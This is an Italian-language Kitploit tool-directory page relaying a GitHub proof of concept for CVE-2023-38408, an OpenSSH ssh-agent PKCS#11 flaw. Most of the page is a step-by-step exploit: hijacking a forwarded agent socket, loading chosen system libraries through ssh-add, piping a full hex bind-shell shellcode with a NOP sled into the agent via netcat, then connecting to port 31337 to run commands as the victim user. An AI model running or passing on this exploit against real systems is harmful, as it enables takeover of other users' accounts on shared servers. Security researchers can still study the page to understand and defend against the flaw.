Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-38408 — Acquisizione account OpenSSH | Kitploit
Strumenti/GitHubGitHub/lucaspdiniz/cve-2023-38408
Analisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneStrumento di Accesso RemotoSviluppo Payload
GitHublucaspdiniz/cve-2023-38408

CVE-2023-38408

Acquisizione account OpenSSH

Vedi Repository
45642 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Vulnerabilità OpenSSH - CVE-2023-38408 📚

Introduzione

È stata trovata una vulnerabilità in OpenSSH (prima della versione 9.3p2). La funzionalità PKCS#11 in ssh-agent di OpenSSH ha un percorso di ricerca non sufficientemente affidabile, portando all'esecuzione di codice remoto se un agente viene inoltrato a un sistema controllato dall'attaccante (il codice in /usr/lib non è necessariamente sicuro da caricare in ssh-agent). Questa falla consente a un attaccante con il controllo dell'agent-socket inoltrato sul server e la capacità di scrivere sul filesystem del client di eseguire codice arbitrario con i privilegi dell'utente che esegue ssh-agent.

Nell'esempio seguente, possiamo osservare brevemente i passaggi dall'esplorazione alla compromissione dell'utente alice.

  • Passaggio 1 - L'utente attaccante si connette via SSH al server.
  • Passaggio 2 - Anche l'utente Alice è connesso via ssh al server.
  • Passaggio 3 - L'attaccante crea uno shellcode da inviare tramite il processo ssh al server di destinazione.
  • Passaggio 4 - Lo shellcode inviato dall'attaccante sfrutta la vulnerabilità PKCS#11 di ssh-agent e crea un nuovo processo che dirotta l'accesso ssh dell'utente Alice.
  • Passaggio 5 - Sempre tramite l'accesso normale dell'attaccante, è possibile eseguire comandi operativi come utente Alice, accedendo allo exploit creato nello shellcode tramite nc localhost 31337.

Come fare? Creiamo il POC

Come accennato prima, in questo POC utilizzeremo 2 utenti connessi a un server via SSH. Per seguire i passaggi seguenti, supponiamo che i 2 utenti abbiano già accesso al server (SSH).

  1. Ottieni il PID dell'agente SSH in esecuzione sulla macchina remota dell'attaccante ed esportalo in una variabile d'ambiente. Abbiamo anche aggiunto tramite ssh-add il file linuxx64.elf.stub (UEFI boot stub)
Scarica lo strumento
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. ora, per copiare lo shellcode nel processo tramite SSH, devi seguire questi passaggi mentre sei ancora sulla macchina attaccante;
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

Infine, premi Ctrl-C per interrompere il trasferimento netcat una volta che lo shellcode è stato posizionato correttamente nella memoria dell'agente.

  1. In questo passaggio, caricheremo 3 file tramite ssh-add; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 e libns3.35-wave.so.0.0.0. Il passo successivo del processo di sfruttamento è registrare il signal handler per il segnale Segmentation Fault (SIGSEGV).

[!NOTE] Triggering SIGSEGV 💬
SIGSEGV è un segnale noto a un processo informatico emesso >quando si verifica un riferimento di memoria non valido (segmentation fault). Alla ricezione del segnale SIGSEGV, il kernel riconosce che si è verificato un accesso alla memoria non valido e procede a invocare il signal handler personalizzato piuttosto che terminare bruscamente il programma. In questo modo, l'attaccante coglie l'opportunità di manipolare l'esecuzione del programma e di indirizzarla verso il codice malevolo iniettato situato all'interno del NOP sled.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. A questo punto, siamo già riusciti a sfruttare l'utente Alice tramite l'accesso ssh dell'attaccante al server, eseguendo il comando seguente creato dallo shellcode. 🔥
root@kitploit:~
nc localhost 31337

CVE-2023-38408 mi riguarda? ❓

La vulnerabilità colpisce principalmente i sistemi in cui è in uso l'SSH-agent di OpenSSH e la funzionalità di inoltro dell'agente è abilitata. Organizzazioni e individui che fanno affidamento su OpenSSH dovrebbero valutare tempestivamente le proprie configurazioni per determinare una potenziale esposizione. Se il tuo sistema soddisfa le condizioni menzionate, è fondamentale agire immediatamente per mitigare il rischio associato a CVE-2023-38408.